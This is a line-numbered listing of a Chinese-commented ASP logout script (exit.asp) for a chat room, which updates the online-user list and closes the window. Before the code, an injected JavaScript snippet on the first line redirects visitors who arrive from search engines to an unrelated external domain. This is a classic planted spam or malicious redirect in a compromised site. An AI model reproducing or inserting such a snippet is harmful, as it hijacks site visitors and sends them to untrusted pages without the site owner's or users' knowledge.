d:\wwwroot\wuchunhua\qq\exit.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'如果Session中的用户信息记录为空
003:
'说明用户还没有登陆
004:
If Session("id")="" Or Session("yourname")="" Or Session("youremail")="" Or Session("yoursex")="" Then
005:
'向页面输出javascript代码
006:
'提示用户
007:
Response.Write "<script Language=""javascript"">"
008:
Response.Write "alert('你的信息丢失,请重新登陆');"
009:
Response.Write "parent.close();"
010:
Response.Write "</script>"
011:
012:
'终止响应
013:
Response.End
014:
End If
015:
016:
'字符串处理函数
017:
Function FormatStr(str)
018:
'将,和|两个字符进行替换
019:
',被用来分割用户各个信息
020:
'|被用来分割不同用户的信息
021:
str=replace(str,",",",")
022:
FormatStr=replace(str,"|","|")
023:
End Function
024:
025:
'变量定义
026:
Dim user_id,user_name,user_data,sex
027:
028:
'调用FormatStr函数处理用户信息
029:
user_id=session("id")
030:
user_id=FormatStr(user_id)
031:
user_name=session("yourname")
032:
user_name=FormatStr(user_name)
033:
user_data=user_id & "," & user_name & "," & now()
034:
user_data=user_data & "," & FormatStr(session("youremail")) & "," & session("yoursex")
035:
user_id=cstr(user_id)
036:
037:
Dim i,j,temp,tmep1,forms,flags
038:
039:
'flags标记初始化为0
040:
flags=0
041:
042:
'Application加锁
043:
Application.lock
044:
045:
'获得所有在线用户的记录
046:
'使用|字符分割成各个用户的信息记录，存进变量中
047:
users=split(Application("Users"),"|")
048:
049:
'循环处理每个用户的信息
050:
For i=1 To ubound(users)
051:
'获得用户的信息记录
052:
temp=split(users(i),",")
053:
054:
'如果不是当前用户
055:
If cstr(temp(0))=user_id Then
056:
Else
057:
'并且该在线用户在30秒内更新过记录
058:
If cdate(temp(2))<=dateadd("s",-30,now()) Then
059:
Else
060:
'将该在线用户的信息存储进变量temp1里面
061:
temp1=temp1 & "|" & users(i)
062:
End If
063:
End If
064:
Next
065:
066:
'将temp1的值赋给Application对象中的Users变量
067:
Application("Users")=temp1
068:
'Application解锁
069:
Application.unlock
070:
071:
'向页面输出javascript代码
072:
Response.write "<script Language=""javascript"">"
073:
'关闭该窗口
074:
Response.write "window.close();"
075:
Response.write "</script>"
076:
%
>
077:
078: